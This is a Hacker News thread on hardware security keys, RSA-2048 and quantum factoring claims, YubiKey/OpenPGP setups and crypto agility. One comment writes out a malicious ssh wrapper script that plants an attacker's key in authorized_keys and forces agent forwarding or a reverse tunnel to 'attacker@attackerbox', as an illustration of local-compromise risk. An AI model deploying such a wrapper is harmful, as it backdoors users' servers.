Are Your Hardware Keys Still Safe? Steelmanning the NSA Panic

(vpetersson.com)

80 points | by mvip a day ago ago

56 comments

  • upofadown a day ago ago

    It's hardly a crisis if you only have a 2048 bit RSA key on your hardware key and that key won't go any bigger. There still doesn't seem to be any more real possibility of anyone being able to break RSA2048 since I looked into this 3 years ago:

    * https://articles.59.ca/doku.php?id=em:20482030

    AI could in theory come up with a better algorithm, but there is no reason to think that that algorithm could threaten RSA2048 but not, say RSA3072. Such a breakthrough would be huge...

    • mschuster91 a day ago ago

      > AI could in theory come up with a better algorithm, but there is no reason to think that that algorithm could threaten RSA2048 but not, say RSA3072. Such a breakthrough would be huge...

      If it is enough to lower the required time to attack an RSA2048 key from 700-ish years down to, say, 100 years of a BTC equivalent compute system, it now becomes feasible for at least nation-state entities even as RSA3072 remains out of reach.

      Anyway, no matter what, RSA crypto falls apart once the first actually usable quantum computer is built. That is something I'm much more worried about.

      • upofadown a day ago ago

        The issue is not just as simple as compute. You would need something like an exabyte of memory somehow connected to enough compute to actually do something. Breaking RSA2048 is wildly out of the reach of current capabilities.

        • mschuster91 a day ago ago

          > You would need something like an exabyte of memory somehow connected to enough compute to actually do something.

          The worldwide production of RAM is 40 EB a year [1]. It definitely is possible to acquire such amounts of RAM over the years.

          > Breaking RSA2048 is wildly out of the reach of current capabilities.

          The NSA has the Utah Data Center with a highly classified profile [2]. I would absolutely not put it past the NSA to run precisely such efforts there. Most probably on special hardware as well. And the Israelis are just as capable.

          And do we know that the allegedly "stolen" and "diverted to China" NVIDIA GPUs actually ended up in China, or might it be that they actually got diverted to the NSA?

          [1] https://www.pcgamer.com/hardware/memory/researchers-predict-...

          [2] https://en.wikipedia.org/wiki/Utah_Data_Center

          • upofadown 20 hours ago ago

            So they are going to plug 16 million DDR5 64GB memory devices into the same bus? Otherwise there will have to be communication between the servers. That communication is where the bottleneck occurs.

          • wolvoleo a day ago ago

            > The worldwide production of RAM is 40 EB a year [1]. It definitely is possible to acquire such amounts of RAM over the years.

            Hmm yeah but then to actually use it to break everyone's keys is a little over the top.

            If they have such extraordinary capability they won't waste it on someone like me.

            • shakna 17 hours ago ago

              Whilst I broadly agree with you, in that putting together such capabilities probably means it could only feasibly be used for extremely high value circumstances, due to it being extraordinary to overcome bus limits...

              I'd caution ever reaching for the "won't waste it on me" argument.

              It's been a while since ASIO and other spy agencies announced that the threat landscape has changed. Most state actors today, broadly attack... Everyone. Because everyone is connected to someone else, and those connections may be easier to exploit to get at someone connected, than the target's own systems.

              Breaking into their regular drivethrough, their neighbours' IoT devices, the brand of rideshare they usually use, the watch of someone they pass on the street most days, is easier to piece together everything, than just targeting one person. Hoard enough data from everyone, and you can find someone.

            • mschuster91 12 hours ago ago

              > Hmm yeah but then to actually use it to break everyone's keys is a little over the top.

              Bust a root certificate and now you can MITM everyone again, which the NSA definitely used to do back when HTTPS wasn't deployed everywhere.

          • Melatonic a day ago ago

            Or diverted to Israel

        • ikiris a day ago ago

          That really isn't that high of a bar. Do the napkin math on how much compute google has some time.

      • a day ago ago
        [deleted]
      • Mistletoe a day ago ago

        Can quantum computers factor anything more complex than about 5x3=15 yet?

        https://www.reddit.com/r/QuantumComputing/comments/1535lii/w...

        I feel like the markets and everything else are in extreme hysteria mode about this still. We are nowhere near anything. AI people regurgitating nonsense that spreads fear and fattens their pockets is all I see.

        • sampo 21 hours ago ago

          > Can quantum computers factor anything more complex than about 5x3=15 yet?

          To be brutally honest, nobody has used the full Shor's Algorithm to factor anything on a quantum computer yet. All experiments to date include some kind "cheating"/shortcuts.

          2001: IBM uses NMR qubits to factor 15. Medium level of cheating. https://arxiv.org/abs/quant-ph/0112176

          Also, we can debate whether NMR qubits can even be accepted as quantum memory, as they offer no path to scale up to a larger number of qubits.

          2016: University of Innsbruck and MIT use trapped ion qubits to factor 15. Only small level of cheating. https://arxiv.org/abs/1507.08852

          This is the the closest to a "honest" calculation to date.

          2012 (Bristol University), 2019 (IBM), 2021 (IBM): Factorization of 21. But cheating is used in all cases.

          https://arxiv.org/abs/1111.4147

          https://arxiv.org/abs/1903.00768 (Note: They also attempt to factor 35, but fail)

          https://arxiv.org/abs/2103.13855

          2025 (Infleqtion): Instead of raw qubits, they used error-corrected logical qubits on top of a larger number of raw noisy qubits, to factor 15. In that sense, maybe a milestone. But with lots of cheating. https://arxiv.org/abs/2509.13247

          By cheating I mean: Every case uses prior knowledge of the correct answer, to leave out parts of the circuitry that is not needed when calculating the correct answer, but would be needed if running a full version of Shor's Algorithm.

        • danlitt a day ago ago

          I believe they factored 21 in the last few years.

          • wowczarek a day ago ago

            Yes, but using a priori knowledge of 3 x 7 = 21. Mind that the paper's title starts with "Pretending to factor..." though.

            while(safe(RSA4096)) sleep(180 * 86400);

          • Melatonic a day ago ago

            Probably stuck at 42. Once we have we that well have the answer to everything.

            Don't forget to bring a towel

          • nullsanity a day ago ago

            [dead]

        • upofadown a day ago ago

          Not even that...

          "Any claims before November 2026 of breaking RSA with a Shor's computer are fake."

          https://articles.59.ca/doku.php?id=em:qanalog#a_shor_s_compu...

        • teh_infallible a day ago ago

          People think discovering groundbreaking mathematical concepts is the same as finding bugs in code.

    • Melatonic a day ago ago

      Isn't everyone freaking out right now specifically because RSA and EC might have been mathematically shortcutted ?

  • jwr a day ago ago

    A reminder that if you use Yubikeys (you should!), you can use them for authenticating SSH sessions with rsa4096 using the OpenPGP app (see guide here: https://github.com/drduh/YubiKey-Guide).

    I've been happily doing so for many years now and intend to continue doing so.

    These same keys, incidentally, can also be:

    * backed up on paper

    * duplicated to multiple YubiKeys if you create them yourself

    * be used for encrypting your backups (using gpg)

    * and of course, be used for PGP, if you know people who use it (an elegant weapon for a more civilized age)

    • wowczarek a day ago ago

      drduh's guide is a great starting point to getting one's workflow right.

      Add paperkey[0], pass[1], aerc[2] using passwords stored in pass and integrated GPG signing, and for something more convenient than a paper copy but lasting far longer than USB or SSD, consider a USB "storage" device using ferroelectric RAM [3] for your master key.

      [0] https://www.jabberwocky.com/software/paperkey/

      [1] https://www.passwordstore.org/

      [2] https://man.sr.ht/~rjarry/aerc/integrations/password-manager...

      [3] https://machdyne.com/product/blaustahl-storage-device/ - or another one of theirs.

    • dingaling a day ago ago

      You can do all that with traditional passphrase-protected keys and no reliance on a closed-source device.

      • jwr a day ago ago

        If you know of another way to do "all that" with a physical device where the private key can't be read and that provides a physical touch requirement feature, I'm all ears.

        • _hyn3 a day ago ago

          The private key can't be read when encrypted, either; that's why the passphrase exists.

          The physical touch requirement feature is nice though, but it's not really that useful in the real world.

          If your ssh client is compromised (ie export PATH="~/.hacker-controlled:$PATH") then it could just always do -A or -L or -R or -W or anything else.

          ~/.hacker-controlled/ssh:

             #! /bin/bash
             [ ! -e /tmp/.already-pwned ] && echo "ssh-rsaAAAA123123" | /usr/bin/ssh tee -A .ssh/authorized_keys $@ >/dev/null 2>&1 && touch /tmp/.already-pwned
             /usr/bin/ssh -A $@
          
          The wrapper attack is trivially simple and doesn't even need the tee trick to be useful. just forcing -A or -R 2222:localhost:22 attacker@attackerbox on every connection is enough to get a foothold. The tee variant is useful for self-propagation though.

          (I haven't tested this, but it looks like it'd work.) You'd just try to ssh into that box twice, and that's not even a sophisticated attack.

          Every time you type `ssh remotehost`, you're merrily signing your own death certificate.

          Bottom line: if an attacker has write access to files in your local homedir/PATH/.bashrc/etc, you're done, Yubikey or not.

          • podocarp 21 hours ago ago

            Loads of people have empty passwords for SSH keys… and coding agents have rw access to all user files… Also I'mc curious as to how secure SSH agent is, because it is also quite commonly used to avoid retyping passwords. Perhaps a hardware key which is easier to trigger might reduce reliance on these practices.

    • TFNA 8 hours ago ago

      LOL, PGP is not elegant, and even hoary old 90s cypherpunks will admit that the standard and tooling come with a million complexities that undermine security compared to more recently designed and simpler solutions.

    • juanre a day ago ago

      I have been helping friends and family get started with Yubikeys for a few months now, but it's becoming more difficult. The last set I bought (from Canada) will take more than two weeks to deliver.

    • lxgr 11 hours ago ago

      I've heard many words to describe OpenPGP/gpg, but "elegant" is a first ;) Personally, I'd call it a machine footgun: Extremely powerful, but watch your toes.

      The OpenPGP smartcard standard is great and very powerful in any case, I'm also a big fan. It definitely makes up for many of OpenPGP's formant and gpg's implementation clunkiness shortcomings.

    • mvip a day ago ago

      That guide is so good!

    • Melatonic a day ago ago

      The key itself can decrypt that (in hardware) right ?

  • jsiepkes a day ago ago

    With all this uncertainty and movement in the cryptography world, being unable to update the firmware on your Yubikey seems like a big potential problem to me. Simply because it can't adapt to any future discoveries. While the idea of not having a firmware-upgrade attack surface might have made sense in a pre-AI world, I'm not so sure it does now.

    Personally I've ordered a Nitrokey (which has updatable firmware) so I can do some experimenting to see if its a good replacement.

    • mvip a day ago ago

      It's a double edged sword tho. I don't think we should underestimate the firmware attack surface. IIRC crypto wallets have been targeted for such attacks before.

      • iancarroll a day ago ago

        The NitroKey 3 seems to use the LPC55S6x, which supports TrustZone-M for isolating components of the firmware (such as the untrusted USB frontend vs the backend signing/crypto). Unfortunately, it seems like they don't use this in their firmware at all, but I don't think it would be too difficult. (They also don't store passkeys in the SE due to NFC power limits, which isn't perfect.)

        I recently had Claude design my own security key based on the LPC55S6x as well, with the theory that upgradable firmware would be useful. Unfortunately, the first round of boards had a fatal design mistake, so we will see how the second revision goes...

      • downrightmike a day ago ago

        Yeah, bought, modified with a gsm modem, resealed and returned to the seller, then just resold and then anytime they were used, they reported back to the scammers and then the all got drained. Don't buy 3rd party

    • bigfatkitten 20 hours ago ago

      Current Yubikey hardware isn’t capable of PQC, so you’re looking at a new device anyway.

      They’re in the early stages of a beta program, but I suspect the availability of a suitable silicon is the hold up.

  • riedel a day ago ago

    After reading the negative comments on Damien Miller's post about additional energy usage, I wondered what the real impact would be. It seems to me that the biggest impact of changing recommendations will actually be e-waste from obsolete hardware and not the added complexity in key-exchange or additional storage néeds.

    [0] https://hachyderm.io/@damienmiller/117721161860082546

  • throwaway198846 a day ago ago

    Does someone have a similar blog post summarizing the situation for Wi-Fi?

    • kenhwang a day ago ago

      WiFi generally uses symmetric keys (with the exception of enterprise deployments where auth is done by certs), because both sides know the password/secret used to generate a shared key. What's being broken is asymmetric encryption/public-private key scenarios.

      Symmetric keys are fine, and AES is still recommended for use.

    • mvip a day ago ago

      That's a really interesting idea. Maybe I will write a follow-up on that as I am curious about this myself.

    • mjg59 a day ago ago

      As far as I can tell, no impact on WiFi unless you're using 802.1x with 256-bit elliptic curve certs.

      • sam1714 a day ago ago

        WPA3 Personal SAE defaults to P-256 in the DragonFly key exchange. I have no idea how it is affected.

        WPA3 SAE-PK, which I was looking forward to but never seen, uses EC certs for the public key part.

        It has been pointed out [1] that WPA2 PSK has no public key crypto, so it's much more quantum resistant.

        [1] https://arxiv.org/html/2604.08480v1

  • fabian2k a day ago ago

    What's the best option now or in the near future for securing SSH keys? I've been toying with the idea of putting them on a Yubikey, so that they're not stored persistently on the PC. But now the best move seems to be to also use a stronger algorithm, which does seem to have very limited hardware support at this moment.

    Or would it be a more worthwhile path to add 2FA to the SSH servers using FIDO2 or something like that?

    • mvip a day ago ago

      I think for the foreseeable future, the name of the game is crypto agility. Shorter lived keys, and being able to adopt new ciphers as existing (and new ones) are proven to be inadequate.

      • n923263 a day ago ago

        > Shorter lived keys, and being able to adopt new ciphers

        Only if you have significant constraints on storage or (more likely) transfer size. If you're okay with large encryption keys (but small encapsulations) and large signatures (but small verification keys), you can just use McElice encryption and Lamport signatures and basically ignore almost anything short of P=NP (in which case you're screwed regardless).

    • stephbook a day ago ago

      I'd buy YubiKeys. If AI breaks stuff that YubiKeys can encrypt, you won't be the first or most worthwhile target. Also you could then just switch to a newer model or adopt a different way of auth altogether.

    • cvwright a day ago ago

      Stealing your laptop and cracking your human memorable password is still a lot easier than 2^85 or whatever it’s going to be to break ed25519.

      Stick with the yubikeys for now, and upgrade when new ones are available.

  • WesSouza a day ago ago

    Thanks for the article, ChatGPT!

  • megous a day ago ago

    So the answer is yes, apparently. :) Public key is handled only on the server, so someone would have to first break TLS (exact connection used to transfer the key during enrollment). Or hack the server.

    After hacking the server that validates your key, they can do much more than break your one key, they can just issues authentication tokens (if it's a SSO) or access data without one (if the server offers the authenticated service directly).

    So if someone has N million dollars for hacking one key, why would they just not use all those resources to just hack the server?

  • mpalmer a day ago ago

    I could just have my own agent look at this stuff instead of slogging through the domain name owner's poor taste in LLM output.

    How am I supposed know I'm getting any of the site owner's own expertise?

    EDIT: It doesn't appear that I'm getting anything of the sort; basically all findings and insights are pulled from the sources. This is just synthesis of the kind LLMs are great at, but why is it worth a four thousand word post?

  • huawel-6796 9 hours ago ago

    QNMNLLTDG4Q

  • eptcyka a day ago ago

    I can’t read claudish, get enraged real quick.

    • tedd4u a day ago ago

      This one has “the worked example“ and several others.

    • platevoltage a day ago ago

      I just realized how much I miss “No BS, no fluff”

  • huawel-6796 9 hours ago ago

    huwel-6796